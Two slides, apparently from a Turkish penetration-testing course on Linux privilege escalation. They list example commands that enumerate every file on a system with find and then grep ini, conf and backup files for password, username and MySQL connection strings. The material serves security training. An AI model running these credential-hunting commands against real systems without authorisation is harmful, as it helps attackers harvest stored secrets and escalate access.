  158. 158. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Dosya adı araştırma (örnek komutlar) find / > dirlist-enum.txt 2>/dev/null grep -i -E 'ini$' dirlist-enum.txt > ini-files-enum.txt grep -i -E 'conf$|config$|cnf$' dirlist-enum.txt > conf-files-enum.txt grep -i -E 'backup$|bck$|bak$|.old.*$' dirlist-enum.txt > backup-files- enum.txt
  159. 159. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Dosya içeriklerinde ilginç veriler aranması (örnek komutlar) ini dosyaları içinde geçen password ve username satırları cat ini-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password =|user =|username =|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_d b' 2>/dev/null conf dosyaları içinde geçen password ve username satırları cat conf-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password =|user =|username =|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_d b' 2>/dev/null

×